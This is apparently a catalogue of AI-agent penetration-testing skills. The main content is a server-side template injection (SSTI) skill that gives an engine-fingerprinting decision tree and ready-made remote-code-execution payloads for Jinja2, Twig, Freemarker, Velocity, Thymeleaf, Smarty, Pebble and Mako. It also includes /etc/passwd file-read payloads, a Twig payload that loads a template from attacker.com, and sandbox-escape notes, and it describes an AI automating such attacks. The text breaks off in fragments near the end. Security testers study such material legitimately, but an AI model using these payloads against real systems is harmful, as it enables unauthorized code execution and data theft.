원클릭으로
template-injection
// 服务端模版注入(SSTI)漏洞测试技能。提供模版引擎指纹识别决策树,覆盖 Jinja2/Twig/Freemarker/Velocity/Thymeleaf/Smarty/Pebble/Mako 等主流引擎的 PoC 探测与 RCE Payload,包含沙箱逃逸技术和系统化测试流程(CWE-1336)。
// 服务端模版注入(SSTI)漏洞测试技能。提供模版引擎指纹识别决策树,覆盖 Jinja2/Twig/Freemarker/Velocity/Thymeleaf/Smarty/Pebble/Mako 等主流引擎的 PoC 探测与 RCE Payload,包含沙箱逃逸技术和系统化测试流程(CWE-1336)。
渗透测试安全测试任务设计与执行总指导。作为渗透测试的顶层编排技能,将抽象的安全测试方法论 映射到可直接调用的工具链,定义从目标接收到报告输出的完整决策流程。覆盖侦查、爬虫、 漏洞测试、利用验证的每一步具体操作,串联 recon-planning、web-crawler、xss-testing、 sql-injection、command-injection、template-injection、code-review 等全部子技能。 当用户要求进行渗透测试、安全测试或安全评估时,应首先参考此技能进行任务设计。
Web 应用越权漏洞测试技能。覆盖水平越权(IDOR)、垂直越权(权限提升)、业务逻辑绕过 三大类测试场景。提供基于 HTTP 请求篡改的系统化测试方法论,包括参数替换、Cookie/Token 交换、角色 ID 篡改、隐藏字段操控、HTTP 方法变换、路径遍历、请求头伪造等具体技术。 每种技术都映射到可直接调用的工具(do_http_request, send_http_request_packet, use_browser), 确保 AI 可以自动化执行越权测试。参考 OWASP WSTG-ATHZ-02/03/04 和 OWASP Top 10 A01。
Browser automation skill for web page interaction. Two strategies: (1) Snapshot + refs for simple static pages; (2) JavaScript-first for login forms, SPA, and dynamic pages (PREFERRED). Covers opening URLs, snapshots, clicking, filling forms, evaluating JS, screenshots, tab management, and navigation. Built on go-rod/CDP with headless Chrome. If snapshot returns 0 element refs, DO NOT retry -- switch to JavaScript strategy immediately.
操作系统命令注入漏洞测试技能。覆盖 Linux 和 Windows 环境下的命令注入检测与验证, 提供多种注入操作符、盲注检测方法、编码绕过策略和分步测试流程, 适用于 Web 应用中命令执行类漏洞的发现与确认(CWE-77/CWE-78)。
渗透测试侦查与任务规划技能。定义渗透测试的完整工作流程:从信息收集(Recon)到 范围确定、任务规划和漏洞测试执行。覆盖端口扫描、子域名枚举、Web 搜索、 服务识别等侦查手段,提供 OWASP Top 10 检查矩阵和任务编排策略。
SQL 注入漏洞测试技能。覆盖联合注入、布尔盲注、时间盲注、报错注入、堆叠查询等攻击向量, 提供 MySQL/PostgreSQL/MSSQL/Oracle/SQLite 多数据库的特征 Payload, 包含 WAF 绕过策略和系统化测试流程,适用于 Web 应用 SQL 注入漏洞的发现与确认。
| name | template-injection |
| description | 服务端模版注入(SSTI)漏洞测试技能。提供模版引擎指纹识别决策树,覆盖 Jinja2/Twig/Freemarker/Velocity/Thymeleaf/Smarty/Pebble/Mako 等主流引擎的 PoC 探测与 RCE Payload,包含沙箱逃逸技术和系统化测试流程(CWE-1336)。 |
系统化检测和验证 Web 应用中的服务端模版注入漏洞。 通过模版表达式探针注入、引擎指纹识别和逐步升级的利用链, 定位模版引擎中的代码执行路径。
当用户输入被直接嵌入模版字符串而非作为模版变量传入时,攻击者可以注入模版指令, 在服务端执行任意代码。
# 安全用法(参数化)
render_template("hello.html", name=user_input)
# 危险用法(字符串拼接)
render_template_string("Hello " + user_input)
使用分层探针识别目标模版引擎:
Step 1: 注入 ${7*7}
├── 返回 49 → 可能是 Freemarker, Mako, 或 EL 表达式
│ └── 注入 ${7*'7'}
│ ├── 返回 7777777 → Freemarker (字符串重复)
│ ├── 返回 49 → Mako 或 EL
│ └── 报错 → 尝试 Thymeleaf
└── 返回 ${7*7} (原样) → 继续
Step 2: 注入 {{7*7}}
├── 返回 49 → 可能是 Jinja2, Twig, Nunjucks, 或 Smarty
│ └── 注入 {{7*'7'}}
│ ├── 返回 7777777 → Jinja2 或 Twig
│ │ └── 注入 {% debug %}
│ │ ├── 有输出 → Jinja2
│ │ └── 报错 → Twig
│ └── 返回 49 → Smarty 或 Nunjucks
└── 返回 {{7*7}} (原样) → 继续
Step 3: 注入 #{7*7}
├── 返回 49 → 可能是 Thymeleaf, Pebble, 或 Ruby ERB
└── 返回原样 → 继续
Step 4: 注入 <%= 7*7 %>
├── 返回 49 → ERB (Ruby) 或 JSP/ASP
└── 返回原样 → 继续
Step 5: 注入 #set($x=7*7)${x}
├── 返回 49 → Velocity
└── 返回原样 → 可能不存在 SSTI
按优先级使用以下探针:
{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>
{{7*'7'}}
${7*'7'}
${{7*7}}
#{7*7}
*{7*7}
信息探测
{{config}}
{{config.items()}}
{{self.__class__.__mro__}}
{{request.environ}}
RCE Payload
通过 MRO 链查找可用类:
{{''.__class__.__mro__[1].__subclasses__()}}
经典 RCE:
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()}}
其中 INDEX 需要找到 subprocess.Popen 的位置。
自动查找 Popen 索引:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('id',shell=True,stdout=-1).communicate() }}
{% endif %}
{% endfor %}
其他 RCE 路径:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
文件读取
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('/etc/passwd').read()}}
信息探测
{{_self.env.display('id')}}
{{app.request.server.all|join(',')}}
RCE Payload (Twig < 1.20)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
RCE Payload (Twig 1.x)
{{_self.env.setCache("ftp://attacker.com")}}{{_self.env.loadTemplate("evil")}}
RCE Payload (Twig 3.x)
{{['id']|filter('system')}}
{{['id']|map('system')}}
{{['id']|reduce('system')}}
{{['id','']|sort('system')}}
信息探测
${.version}
${.data_model}
RCE Payload
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
文件读取
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
利用 ObjectConstructor
<#assign classloader=object?api.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
信息探测
#set($x=7*7)${x}
$class.inspect("java.lang.Runtime")
RCE Payload
#set($runtime=Class.forName("java.lang.Runtime"))
#set($getRuntime=$runtime.getMethod("getRuntime",null))
#set($invoke=$getRuntime.invoke(null,null))
#set($exec=$invoke.exec("id"))
$exec.waitFor()
#set($is=$exec.getInputStream())
简化 RCE
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
信息探测
${T(java.lang.System).getenv()}
RCE Payload(表达式注入)
${T(java.lang.Runtime).getRuntime().exec('id')}
URL 路径注入
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
预处理表达式
#{T(java.lang.Runtime).getRuntime().exec('id')}
信息探测
{$smarty.version}
{$smarty.template}
RCE Payload
{system('id')}
{php}system('id');{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id');?>",self::clearConfig())}
Smarty 3.x
{literal}<script>alert(1)</script>{/literal}
{if system('id')}{/if}
RCE Payload
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
RCE Payload
<%import os%>${os.popen('id').read()}
${self.module.cache.util.os.popen('id').read()}
当 SandboxedEnvironment 被启用时:
{{''.__class__.__mro__[1].__subclasses__()}}
查找未被沙箱限制的类(如 warnings.catch_warnings, _io.FileIO 等),
通过这些类的 __init__.__globals__ 访问 os 模块。
当 TemplateClassResolver 限制类访问时:
ObjectConstructor、Execute)Runtime 或 ProcessBuilder 的路径{{7*7}}, ${7*7}, <%= 7*7 %> 等)检测注入